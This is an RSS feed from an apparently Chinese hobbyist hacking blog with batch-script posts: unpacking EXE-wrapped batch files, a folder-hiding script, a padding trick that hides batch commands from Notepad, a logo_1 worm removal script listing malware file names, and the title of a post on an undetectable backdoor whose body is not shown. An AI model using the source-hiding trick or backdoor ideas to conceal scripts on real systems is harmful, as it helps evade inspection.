<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>开心技术乐园 &#187; 批处理</title>
	<atom:link href="http://www.hack520.org/tag/%e6%89%b9%e5%a4%84%e7%90%86/feed" rel="self" type="application/rss+xml" />
	<link>http://www.hack520.org</link>
	<description>原创技术乐园</description>
	<lastBuildDate>Tue, 20 Dec 2011 03:29:13 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.1</generator>
		<item>
		<title>破解伪EXE里的BAT批处理源代码</title>
		<link>http://www.hack520.org/exe-to-bat</link>
		<comments>http://www.hack520.org/exe-to-bat#comments</comments>
		<pubDate>Thu, 13 Oct 2011 02:56:11 +0000</pubDate>
		<dc:creator>野球小子</dc:creator>
				<category><![CDATA[黑客地带]]></category>
		<category><![CDATA[bat]]></category>
		<category><![CDATA[批处理]]></category>
		<category><![CDATA[破解]]></category>

		<guid isPermaLink="false">http://www.hack520.org/?p=604</guid>
		<description><![CDATA[<img class="aligncenter" src="http://img.hack520.org/2011-10/print.jpg" alt="破解BAT批处理源代码">

　　我这里所说的伪EXE就是里面是BAT批处理程序，外面只是披了层EXE的外壳，也就是网上不是有很多BAT转EXE的工具吗？就是那些工具转出来的程序。这些转换工具并不是真的把BAT编译成了EXE，因为那是不可能的……]]></description>
			<content:encoded><![CDATA[<p>　　我这里所说的伪EXE就是里面是BAT批处理程序，外面只是披了层EXE的外壳，也就是网上不是有很多BAT转EXE的工具吗？就是那些工具转出来的程序。这些转换工具并不是真的把BAT编译成了EXE，因为那是不可能的。所以那些伪EXE程序只是把BAT打包在里面，运行的时候再释放出来，我不知道应该怎么描述，反正就差不多这个意思。所以它一定会有个释放的路径，找到了这个路径，就找到了这个BAT，就破解出了源代码。</p>
<p>　　其实方法很简单，我一直都是这么做的。最近没什么技术文章好写，写写这种算充个数吧，呵呵，见笑了~下面我以昨天刚下载的一个“打印任务一键清除”exe程序来作演示，看看如何破解出它的批处理源代码。今天13号，程序还是前天刚写的。</p>
<p><img class="aligncenter" src="http://img.hack520.org/2011-10/print.jpg" alt="破解BAT批处理源代码"></p>
<p>　　首先，双击程序运行，不要关闭，有些程序在关闭的时候会KillSelf；</p>
<p>　　其次，在CMD下cd %temp%，一开始我用dir *.bat没有找到，这时你要想到有可能是.cmd文件，所以可以试下dir *.cmd，结果也没有；</p>
<p>　　再次，我以下面这张截图来说明：</p>
<p><img class="aligncenter" src="http://img.hack520.org/2011-10/exe-bat.png" alt="破解BAT批处理源代码"></p>
<p>　　最后，把找到的BAT复制出来，右击“编辑”就能看到源代码了。源代码如下：</p>
<pre>@echo off
title 【 打印任务一键清除 】  BY：wnsdt
color 2f
echo.&#038;echo.&#038;echo.
echo           说明（2011.10.11）:
echo.&#038;echo.
echo              本工具可快速清除无响应的打印任务，解决无法打印的问题！
echo.
echo              如连接网络中共享的打印机，请在那台计算机运行本工具 ！
echo.&#038;echo.
echo      ----------------------------------------------------------------
echo.
echo              有问题到微博留言   http://t.qq.com/wnsdt_kk
echo.&#038;echo.&#038;echo.&#038;echo.&#038;echo.&#038;echo.
echo              按任意键开始，退出请直接关闭
pause>nul 2>nul
cls
echo.&#038;echo.&#038;echo.&#038;echo.&#038;echo.&#038;echo.
echo        稍后清理完毕，请重新打印......
sc config spooler start= disabled>nul 2>nul
net stop spooler>nul 2>nul
del %systemroot%\System32\spool\PRINTERS\*.* /q /s /f>nul 2>nul
sc config spooler start= auto>nul 2>nul
net start spooler>nul 2>nul
exit</pre>
]]></content:encoded>
			<wfw:commentRss>http://www.hack520.org/exe-to-bat/feed</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Windows文件保护专家开源代码（批处理）</title>
		<link>http://www.hack520.org/windows-file-protection-bat</link>
		<comments>http://www.hack520.org/windows-file-protection-bat#comments</comments>
		<pubDate>Tue, 22 Apr 2008 19:37:06 +0000</pubDate>
		<dc:creator>野球小子</dc:creator>
				<category><![CDATA[系统安全]]></category>
		<category><![CDATA[编程乐园]]></category>
		<category><![CDATA[批处理]]></category>
		<category><![CDATA[源代码]]></category>

		<guid isPermaLink="false">http://www.hack520.org/windows%e6%96%87%e4%bb%b6%e4%bf%9d%e6%8a%a4%e4%b8%93%e5%ae%b6-%e5%bc%80%e6%ba%90%e4%bb%a3%e7%a0%81%e6%89%b9%e5%a4%84%e7%90%86</guid>
		<description><![CDATA[Windows文件保护专家，源代码如下： @echo off rem Written by heroest rem Feb 17th,2006 setlocal color 0b echo =============================================================== echo. echo Windows文件保护专家 v1.0 echo. echo. echo 说明：本程序可以有效的保护重要的文件不被删除或泄露。 echo 加入了删除文档的代码，可以删除那些被保护的文档 echo 版权没有，欢迎盗版! echo =============================================================== :start echo. echo 建立文件保护文件夹 c:\FileLocker if not exist c:\FileLocker..\nul md c:\FileLocker..\ echo 欢迎使用windwos保护专家 v1.0,请选择选项（1,2,3,4,5,q）; echo 1.读取加密的文档 echo 2.存储保密文档 echo 3.建立秘密存储文档 echo 4.删除保密文档 echo 5.删除FileLocker echo q.推出 [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://img.hack520.org/attachments/month_0804/q2008422193248.png" class="aligncenter" alt="Windows文件保护" title="Windows文件保护专家"/></p>
<p><span id="more-320"></span></p>
<p><strong>Windows文件保护专家，源代码如下：</strong></p>
<pre>@echo off
rem Written by heroest
rem Feb 17th,2006
setlocal
color 0b
echo ===============================================================
echo.
echo Windows文件保护专家 v1.0
echo.
echo.
echo 说明：本程序可以有效的保护重要的文件不被删除或泄露。
echo 加入了删除文档的代码，可以删除那些被保护的文档
echo 版权没有，欢迎盗版!
echo ===============================================================
:start
echo.
echo 建立文件保护文件夹 c:\FileLocker
if not exist c:\FileLocker..\nul md c:\FileLocker..\
echo 欢迎使用windwos保护专家 v1.0,请选择选项（1,2,3,4,5,q）;
echo 1.读取加密的文档
echo 2.存储保密文档
echo 3.建立秘密存储文档
echo 4.删除保密文档
echo 5.删除FileLocker
echo q.推出
echo.
set /p choice=
if {%choice%}=={} goto start
if /i %choice%==1 goto djm
if /i %choice%==2 goto cjm
if /i %choice%==3 goto jjm
if /i %choice%==4 goto sjm
if /i %choice%==5 goto df
if /i %choice%==q goto quit
goto start
rem========================加入秘密文件夹==========================
:jjm
echo.
echo 准备建立秘密文件夹...
echo 请输入密码:
set /p pass2c=
if {%pass2c%}=={} goto jjm
echo 开始根据密码建立保密文件夹......
md &#34;c:\FileLocker..\%pass2c%..\&#34;
echo 建立了保护文件夹!
echo.
goto start
rem ======================“加入”部分结束=========================
rem
rem =====================存储数据部分==============================
:cjm
echo.
echo 准备存储保密档案...
echo 请输入密码：
set /p pass=
if {%pass%}=={} goto cjm
if exist c:\FileLocker..\%pass%..\nul goto noerror
echo 发生错误，未发现建立加密保护文件夹！
goto start
:noerror
md &#34;%userprofile%\桌面\Ready2Lock&#34;
echo 请将你需要保护的文件复制到桌面上的Ready2Lock文件夹内(被保存的文件不能含有文件夹）
echo 注意：开始保护后会删除原文件!
echo 按任意键开始保护文件.......
pause > nul
echo 开始保护到C:\FileLocker文件夹内.........
copy &#34;%userprofile%\桌面\Ready2Lock\*.*&#34; &#34;c:\FileLocker..\%pass%..\&#34;
echo 保护完成，删除原文件........
del &#34;%userprofile%\桌面\Ready2Lock\*.*&#34; /Q
rd &#34;%userprofile%\桌面\Ready2Lock&#34;
echo 所有保护完成!
ping 127.0.0.1 -n 3 >nul
cls
goto start
rem ==========================存储部分结束=======================
rem
rem ===========================读取数据部分======================
:djm
echo.
echo 准备读取保密文件...
echo 请输入密码：
set /p pass2=
if {%pass2%}=={} goto djm
if not exist c:\FileLocker..\%pass2%..\nul echo 发生错误或不存在保护文档 &amp; goto djm
echo 开始读取被保护的数据.......
if not exist &#34;%userprofile%\桌面\Unlocked\nul&#34; md &#34;%userprofile%\桌面\Unlocked&#34;
copy &#34;c:\FileLocker..\%pass2%..\*.*&#34; &#34;%userprofile%\桌面\Unlocked&#34;
echo 已经解密到桌面上的Unlocked文件夹内.........
ping 127.0.0.1 -n 3 >nul
goto start
rem ========================读取数据部分结束=======================
rem
rem ========================删除目录部分===========================
rem 此部分特别感谢&#34;猜猜鸟&#34;教会了我新的知识，谢谢了！
rem 感谢&#34;江山&#34;的提供了宝贵的意见
rem 也感谢支持我的朋友们，没有你们的鼓励，小弟也不敢斗胆发表自己的作品
:sjm
echo.
echo.
echo 准备删除秘密文档.......
echo 请输入密码：
set /p pass2del=
if {%pass2del%}=={} goto sjm
echo 开始删除被保护文件夹
rmdir /s &#34;c:\FileLocker..\%pass2del%..\&#34; /Q
echo 已经删除被保护文件.......
goto start
rem ============================删除部分结束======================
rem
rem ===================Del FileLocker==============================
:df
echo.
echo 请删除之前确认FileLocker里面没有任何秘密文档.(y/n)
set /p yesorno=
if /i %yesorno%==y goto start2del
if /i %yesorno%==n goto sjm
goto df
:start2del
echo 开始删除FileLocker..........
rd &#34;c:\FileLocker..\&#34; >nul
if exist c:\FileLocker..\nul echo **删除失败，可能FileLocker里有别的秘密文档。**&amp; goto fail
echo 成功删除!
:fail
ping 127.0.0.1 -n 3 >nul
goto start
rem ================Del Filelocker End====================
:quit
echo 感谢使用Windows文件保护专家 v1.0!
echo 按任意键退出本程序.
pause > nul
exit</pre>
<p>　　放日志文章主要不是送给大家这个软件，而是阅读其中的源代码，我觉得可以学到不少批处理方面的知识。</p>
<p>　　程序不是我写的，版权归原作者所有。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.hack520.org/windows-file-protection-bat/feed</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>扔掉工具，简简单单手工对批处理进行加密解密及原理解释</title>
		<link>http://www.hack520.org/bat-encryption-decryption-diy</link>
		<comments>http://www.hack520.org/bat-encryption-decryption-diy#comments</comments>
		<pubDate>Thu, 06 Dec 2007 10:52:11 +0000</pubDate>
		<dc:creator>野球小子</dc:creator>
				<category><![CDATA[编程乐园]]></category>
		<category><![CDATA[加密]]></category>
		<category><![CDATA[批处理]]></category>
		<category><![CDATA[解密]]></category>

		<guid isPermaLink="false">http://www.hack520.org/%e6%89%94%e6%8e%89%e5%b7%a5%e5%85%b7%ef%bc%8c%e7%ae%80%e7%ae%80%e5%8d%95%e5%8d%95%e6%89%8b%e5%b7%a5%e5%af%b9%e6%89%b9%e5%a4%84%e7%90%86%e8%bf%9b%e8%a1%8c%e5%8a%a0%e5%af%86%e8%a7%a3%e5%af%86%e5%8f%8a</guid>
		<description><![CDATA[　　我小站上有篇批处理的加密与解密文章批处理BAT的加密与解密方法，今天分析了一下它的加密原理，其实很简单的。我教大家一个简单的手工加密批处理方法，直接将以下内容复制到一个空文件里。 源代码： %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a [...]]]></description>
			<content:encoded><![CDATA[<p>　　我小站上有篇批处理的加密与解密文章<a href="http://www.hack520.org/bat-encrypt-decrypt" target="_blank">批处理BAT的加密与解密方法</a>，今天分析了一下它的加密原理，其实很简单的。我教大家一个简单的手工加密批处理方法，直接将以下内容复制到一个空文件里。</p>
<p><span id="more-241"></span></p>
<p><strong>源代码：</strong></p>
<pre>%%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a
@echo off
net user
net start</pre>
<p><strong>注意：</strong>命令部分随便输入,但是命令后面不要有空格。</p>
<p><strong>破解方法：</strong>直接在cmd下用edit打开或者用word打开即可。</p>
<p><strong>原理：</strong></p>
<p>　　记事本程序在保存一篇新建的文档时，如果没有指定编码类型，会使用缺省的ANSI类型（对于中文版来说，对应的就是GB码）。而在打开一篇已创建的文档时，它会分析文档的编码类型，它首先判断文档头部有无BOM（Byte o&#114;der Mark，字节序标记，长度为(2-3字节)，如有则根据其内容判断编码类型，FF、FE（Unicode）,FE、FF（Unicode big endian）,EF、BB、BF（UTF-8)因为事实上有很多非ANSI编码的文档是没有任何BOM的“纯文本”，所以对这些文档不能简单的判断为ANSI编码。而需要使用一系列的统计学算法根据文档内容来猜测文档编码。记事本使用了 IsTextUnicode 函数来判断是否为Unicode/Unicode big endian 编码，使用 IsTextUTF8 判断是否为 UTF8 编码。但既然是统计学算法，就难免存在误判，尤其在文档内容过短时，由于样本的容量太小，这种误判的概率会显著增大。比如那个有名的微软与联通有仇的笑话，就是记事本在打开只有&#34;联通&#34;二字的ANSI编码文档时，IsTextUTF8 函数将其误判为UTF8编码[2]；同样的误判也发生在IsTextUnicode 函数上，比如具有 “this app can break”这种具有4335结构的文档，会被误判为 Unicode 编码[3][4]。</p>
<p>　　需要说明的是，这种误判的可能性是建立在文本较短且其字节位特征不被干扰的前提上的。如果将上述的文本做稍许修改（即使只是增加一个回车），则误判很难再发生。</p>
<p>　　而这种方法的特殊性在于，它的字节串不但具有Unicode特征，而且很长达到了1288字节，也就是说它的Unicode特征性很强，所以可以抵抗一些较短的不具有Unicode特征串的干扰，这是由统计学的规律所决定的。但是在干扰串稍长时，Unicode的特征将会受到显著干扰，直至被 IsTextUnicode 函数认定为非 Unicode。所以，有些朋友总是无法测试成功，应该是与附加的批处理代码长度和内容相关。</p>
<p>　　因为其他的编辑器（比如 Word / Wordpad / EditPlus / UltraEdit）使用了更新的编码类型判断算法，所以在 Unicode 判断上改进了不少，而 UTF8 的判断仍然不尽如人意。但因为理论上来说完全准确地算法并不存在，所以我们只能依靠避免使用无BOM的非ANSI文档，或者打开文档时手动指定编码类型。</p>
<p>　　另外，如果使用记事本保存了这些误判了编码类型的文件，则将难以恢复。如果使用误判编码保存，则将给原文档加上BOM标记，则使用其他编辑器也再无法观察到原文档。如果使用 ANSI 编码保存，则原文档将会被当作 Unicode 文档而被转换，还原的可能性接近于零。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.hack520.org/bat-encryption-decryption-diy/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>删除ATI显卡的右键菜单（批处理）</title>
		<link>http://www.hack520.org/delete-ati-bat</link>
		<comments>http://www.hack520.org/delete-ati-bat#comments</comments>
		<pubDate>Mon, 08 Oct 2007 09:31:19 +0000</pubDate>
		<dc:creator>野球小子</dc:creator>
				<category><![CDATA[开心技术乐园—网站首页]]></category>
		<category><![CDATA[批处理]]></category>

		<guid isPermaLink="false">http://www.hack520.org/%e6%89%b9%e5%a4%84%e7%90%86%e5%ae%9e%e7%8e%b0%e5%88%a0%e9%99%a4ati%e6%98%be%e5%8d%a1%e7%9a%84%e5%8f%b3%e9%94%ae%e8%8f%9c%e5%8d%95</guid>
		<description><![CDATA[　　我笔记本用的是ATI显卡，刚装好的系统安装上显卡驱动，右键菜单就会显示额外的一项“Ati Catalyst Control Center”。我想很多人都是这样的情况吧？！这样一来影响倒是不大，只可能会稍微拖慢一点右键菜单的显示速度，但是不觉得太难看了吗？右键弹出的整块菜单被撑宽了很多。So&#8230;我决定把它删除掉！ 　　 　　为了方便大家使用，我已经把它写成了批处理。把下面的代码保存为批处理运行一下即可，非常方便！ regsvr32 /u /s igfxpph.dll reg delete HKEY_CLASSES_ROOT\Directory\Background\shellex\ContextMenuHandlers /f reg add HKEY_CLASSES_ROOT\Directory\Background\shellex\ContextMenuHandlers\new /ve /d {D969A300-E7FF-11d0-A93B-00A0C90F2719} reg delete HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v HotKeysCmds /f reg delete HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v IgfxTray /f]]></description>
			<content:encoded><![CDATA[<p><img alt="ATI显卡" src="/logo/windows.gif" title="ATI显卡" class="alignleft" width="148" height="28" />　　我笔记本用的是ATI显卡，刚装好的系统安装上显卡驱动，右键菜单就会显示额外的一项“Ati Catalyst Control Center”。我想很多人都是这样的情况吧？！这样一来影响倒是不大，只可能会稍微拖慢一点右键菜单的显示速度，但是不觉得太难看了吗？右键弹出的整块菜单被撑宽了很多。So&#8230;我决定把它删除掉！<br />
<span id="more-172"></span>　　<br />
　　为了方便大家使用，我已经把它写成了批处理。把下面的代码保存为批处理运行一下即可，非常方便！
<pre>regsvr32 /u /s igfxpph.dll
reg delete HKEY_CLASSES_ROOT\Directory\Background\shellex\ContextMenuHandlers /f
reg add HKEY_CLASSES_ROOT\Directory\Background\shellex\ContextMenuHandlers\new /ve /d {D969A300-E7FF-11d0-A93B-00A0C90F2719}
reg delete HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v HotKeysCmds /f
reg delete HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v IgfxTray /f</pre>
]]></content:encoded>
			<wfw:commentRss>http://www.hack520.org/delete-ati-bat/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>logo_1.exe病毒专杀工具和免疫补丁（批处理）</title>
		<link>http://www.hack520.org/logo_1-exe-bat</link>
		<comments>http://www.hack520.org/logo_1-exe-bat#comments</comments>
		<pubDate>Thu, 26 Jul 2007 15:49:50 +0000</pubDate>
		<dc:creator>野球小子</dc:creator>
				<category><![CDATA[系统安全]]></category>
		<category><![CDATA[批处理]]></category>

		<guid isPermaLink="false">http://www.hack520.org/logo_1-exe%e7%97%85%e6%af%92%e4%b8%93%e6%9d%80%e5%b7%a5%e5%85%b7%e5%92%8c%e5%85%8d%e7%96%ab%e8%a1%a5%e4%b8%81%ef%bc%88%e6%89%b9%e5%a4%84%e7%90%86%ef%bc%89</guid>
		<description><![CDATA[　　昨天帮邻居小平家电脑杀毒。打开电脑随便看了下，感觉反应速度很慢，尤其是IE，不是一般地慢。打开任务管理器就看到logo_1.exe进程，又是它！前些天在学校帮小芳姐电脑杀毒时也是这个病毒，记得当时她电脑除了C盘以外其它盘都无法双击打开，现在小平的电脑也不例外。不过这个不难，我在DOS下删除autorun.inf和对应的病毒文件，过了会它又在根目录下自动生成。我写了几句简单的批处理，就轻松将其彻底删除而无法再自动拷贝进来。logo1这个病毒我不是很熟悉，不过我结束它的进程后，在C盘找到它的主文件，轻松删除之。我检查了它的启动项和服务，才发现已经被搞得乱七八糟，我一一将它们删除或修复。后来我才知道她的电脑上中了logo1、灰鸽子和落雪三种病毒，都是非常常见的。电脑情况是好多了，不过这个病毒这么频繁，我得去网上找下资料学习一下。 　　被我Down了个logo_1.exe病毒专杀工具和免疫补丁，打开一看，居然是两个批处理和一个注册表文件。 打开KillLogo1.bat，内容如下： @echo off if exist %windir%\rundl132.exe echo 发现威金! pause taskkill /f /im rundl132.exe taskkill /f /im logo_1.exe taskkill /f /im logo1_.exe taskkill /f /im Ravmon.exe taskkill /f /im Eghost.exe taskkill /f /im Mailmon.exe taskkill /f /im KAVPFW.EXE taskkill /f /im IPARMOR.EXE taskkill /f /im Ravmond.exe taskkill /f /im 0sy.exe taskkill /f /im 1sy.exe [...]]]></description>
			<content:encoded><![CDATA[<p>　　昨天帮邻居小平家电脑杀毒。打开电脑随便看了下，感觉反应速度很慢，尤其是IE，不是一般地慢。打开任务管理器就看到logo_1.exe进程，又是它！前些天在学校帮小芳姐电脑杀毒时也是这个病毒，记得当时她电脑除了C盘以外其它盘都无法双击打开，现在小平的电脑也不例外。不过这个不难，我在DOS下删除autorun.inf和对应的病毒文件，过了会它又在根目录下自动生成。我写了几句简单的批处理，就轻松将其彻底删除而无法再自动拷贝进来。logo1这个病毒我不是很熟悉，不过我结束它的进程后，在C盘找到它的主文件，轻松删除之。我检查了它的启动项和服务，才发现已经被搞得乱七八糟，我一一将它们删除或修复。后来我才知道她的电脑上中了logo1、灰鸽子和落雪三种病毒，都是非常常见的。电脑情况是好多了，不过这个病毒这么频繁，我得去网上找下资料学习一下。<br />
<span id="more-102"></span><br />
　　被我Down了个logo_1.exe病毒专杀工具和免疫补丁，打开一看，居然是两个批处理和一个注册表文件。<br />
打开KillLogo1.bat，内容如下：</p>
<pre>@echo off

if exist %windir%\rundl132.exe echo 发现威金!

pause

taskkill /f /im rundl132.exe
taskkill /f /im logo_1.exe
taskkill /f /im logo1_.exe
taskkill /f /im Ravmon.exe
taskkill /f /im Eghost.exe
taskkill /f /im Mailmon.exe
taskkill /f /im KAVPFW.EXE
taskkill /f /im IPARMOR.EXE
taskkill /f /im Ravmond.exe
taskkill /f /im 0sy.exe
taskkill /f /im 1sy.exe
taskkill /f /im 2sy.exe
taskkill /f /im 3sy.exe
taskkill /f /im 4sy.exe
taskkill /f /im 5sy.exe
taskkill /f /im 6sy.exe
taskkill /f /im 7sy.exe
taskkill /f /im 8sy.exe
taskkill /f /im 9sy.exe
taskkill /f /im 10sy.exe
taskkill /f /im 11sy.exe
taskkill /f /im 12sy.exe
taskkill /f /im 13sy.exe
taskkill /f /im 15sy.exe
taskkill /f /im 25sy.exe

::以上为结束病毒进程.

attrib %windir%\Logo1_.exe -s -r -h
attrib %windir%\rundl132.exe -s -r -h
attrib %windir%\0Sy.exe -s -r -h
attrib %windir%\vDll.dll -s -r -h
attrib %windir%\1Sy.exe -s -r -h
attrib %windir%\2Sy.exe -s -r -h
attrib %windir%\rundll32.exe -s -r -h
attrib %windir%\3Sy.exe -s -r -h
attrib %windir%\5Sy.exe -s -r -h
attrib %windir%\1.com -s -r -h
attrib %windir%\exerouter.exe -s -r -h
attrib %windir%\EXP10RER.com -s -r -h
attrib %windir%\finders.com -s -r -h
attrib %windir%\Shell.sys -s -r -h
attrib %windir%\kill.exe -s -r -h
attrib %windir%\sws.dll -s -r -h
attrib %windir%\sws32.dll -s -r -h
attrib %windir%\uninstall\rundl132.exe -s -r -h
attrib c:\windows\SVCHOST.exe -s -r -h
attrib c:\windows\WINLOGON.exe -s -r -h
attrib c:\windows\RUNDLL32.EXE -s -r -h
attrib C:\&#34;Program Files&#34;\svchost.exe -s -r -h
attrib C:\&#34;Program Files&#34;\&#34;Internet Explorer&#34;\svchost.exe -s -r -h
attrib %windir%\Download\svchost.exe -s -r -h
attrib %windir%\system32\wldll.dll -s -r -h
attrib c:\windows\system32\Microsoft\svchost.exe -s -r -h

del /f /s /q /a %systemdrive%\rundl132.exe
del /f /s /q /a %systemdrive%\rundll32.exe
del /f /s /q /a %systemdrive%\Dll.dll
del /f /s /q /a %systemdrive%\vdll.dll
del /f /s /q /a %systemdrive%\logo_1.exe
del /f /s /q /a %systemdrive%\Logo1_.exe
del /f /s /q /a %systemdrive%\Logo1.exe
del /f /s /q /a %systemdrive%\?sy.exe
del /f /s /q /a %windir%\Logo1_.exe
del /f /s /q /a %windir%\rundl132.exe
del /f /s /q /a %windir%\0Sy.exe
del /f /s /q /a %windir%\vDll.dll
del /f /s /q /a %windir%\1Sy.exe
del /f /s /q /a %windir%\2Sy.exe
del /f /s /q /a %windir%\rundll32.exe
del /f /s /q /a %windir%\3Sy.exe
del /f /s /q /a %windir%\5Sy.exe
del /f /s /q /a %windir%\1.com
del /f /s /q /a %windir%\exerouter.exe
del /f /s /q /a %windir%\EXP10RER.com
del /f /s /q /a %windir%\finders.com
del /f /s /q /a %windir%\Shell.sys
del /f /s /q /a %windir%\kill.exe
del /f /s /q /a %windir%\sws.dll
del /f /s /q /a %windir%\sws32.dll
del /f /s /q /a %windir%\uninstall\rundl132.exe
del /f /s /q /a c:\windows\SVCHOST.exe
del /f /s /q /a c:\windows\WINLOGON.exe
del /f /s /q /a c:\windows\RUNDLL32.EXE
del /f /s /q /a C:\&#34;Program Files&#34;\svchost.exe
del /f /s /q /a C:\&#34;Program Files&#34;\&#34;Internet Explorer&#34;\svchost.exe
del /f /s /q /a c:\windows\Download\svchost.exe
del /f /s /q /a c:\windows\system32\Microsoft\svchost.exe
del /f /s /q /a c:\windows\system32\wldll.dll
del /f /s /q /a c:\_desktop.ini
del /f /s /q /a d:\_desktop.ini
del /f /s /q /a e:\_desktop.ini
del /f /s /q /a f:\_desktop.ini

::以上为删除病毒相关文件.

net share c$ /del
net share d$ /del
net share e$ /del
net share f$ /del
net share admin$ /del
net share ipc$ /del

pause

taskkill /f /im conime.exe
exit</pre>
<p>　　原来这么简单的一个批处理就可以称为专杀工具了，只不过就收集了几个常见的logo1病毒的文件名而已。不过logo1本来就是蠕虫病毒，特点应该是大范围传播，而不是顽固型的。<br />
这样的一来，我想写个免疫补丁也就不难了。打开Logo1免疫补丁.bat，内容如下：</p>
<pre>echo > %windir%\Logo1_.exe
echo > %windir%\rundl132.exe
echo > %windir%\0Sy.exe
echo > %windir%\vDll.dll
echo > %windir%\1Sy.exe
echo > %windir%\2Sy.exe
echo > %windir%\rundll32.exe
echo > %windir%\3Sy.exe
echo > %windir%\5Sy.exe
echo > %windir%\1.com
echo > %windir%\exerouter.exe
echo > %windir%\EXP10RER.com
echo > %windir%\finders.com
echo > %windir%\Shell.sys
echo > %windir%\kill.exe
echo > %windir%\sws.dll
echo > %windir%\sws32.dll
echo > %windir%\uninstall\rundl132.exe
echo > %windir%\SVCHOST.exe
echo > %windir%\WINLOGON.exe
echo > %windir%\RUNDLL32.EXE
echo > C:\&#34;Program Files&#34;\svchost.exe
echo > C:\&#34;Program Files&#34;\&#34;Internet Explorer&#34;\svchost.exe
echo > %windir%\Download\svchost.exe
echo > %windir%\system32\wldll.dll

attrib %windir%\Logo1_.exe +s +r +h
attrib %windir%\rundl132.exe +s +r +h
attrib %windir%\0Sy.exe +s +r +h
attrib %windir%\vDll.dll +s +r +h
attrib %windir%\1Sy.exe +s +r +h
attrib %windir%\2Sy.exe +s +r +h
attrib %windir%\rundll32.exe +s +r +h
attrib %windir%\3Sy.exe +s +r +h
attrib %windir%\5Sy.exe +s +r +h
attrib %windir%\1.com +s +r +h
attrib %windir%\exerouter.exe +s +r +h
attrib %windir%\EXP10RER.com +s +r +h
attrib %windir%\finders.com +s +r +h
attrib %windir%\Shell.sys +s +r +h
attrib %windir%\kill.exe +s +r +h
attrib %windir%\sws.dll +s +r +h
attrib %windir%\sws32.dll +s +r +h
attrib %windir%\uninstall\rundl132.exe +s +r +h
attrib %windir%\SVCHOST.exe +s +r +h
attrib %windir%\WINLOGON.exe +s +r +h
attrib %windir%\RUNDLL32.EXE +s +r +h
attrib C:\&#34;Program Files&#34;\svchost.exe +s +r +h
attrib C:\&#34;Program Files&#34;\&#34;Internet Explorer&#34;\svchost.exe +s +r +h
attrib %windir%\Download\svchost.exe +s +r +h
attrib %windir%\system32\wldll.dll +s +r +h</pre>
<p>　　logo_1.exe病毒专杀工具和免疫补丁下载：</p>
<p>　　<a href="http://img.hack520.org/attachments/month_0707/e2007726154841.rar" target="_blank">点击下载</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.hack520.org/logo_1-exe-bat/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>写一个永不被查杀批处理后门 &#8211; windows计划任务的妙用</title>
		<link>http://www.hack520.org/bat-backdoor-windows-tasks</link>
		<comments>http://www.hack520.org/bat-backdoor-windows-tasks#comments</comments>
		<pubDate>Sat, 05 May 2007 17:19:19 +0000</pubDate>
		<dc:creator>野球小子</dc:creator>
				<category><![CDATA[黑客地带]]></category>
		<category><![CDATA[批处理]]></category>

		<guid isPermaLink="false">http://www.hack520.org/%e5%86%99%e4%b8%80%e4%b8%aa%e6%b0%b8%e4%b8%8d%e8%a2%ab%e6%9f%a5%e6%9d%80%e6%89%b9%e5%a4%84%e7%90%86%e5%90%8e%e9%97%a8-windows%e8%ae%a1%e5%88%92%e4%bb%bb%e5%8a%a1%e7%9a%84%e5%a6%99%e7%94%a8</guid>
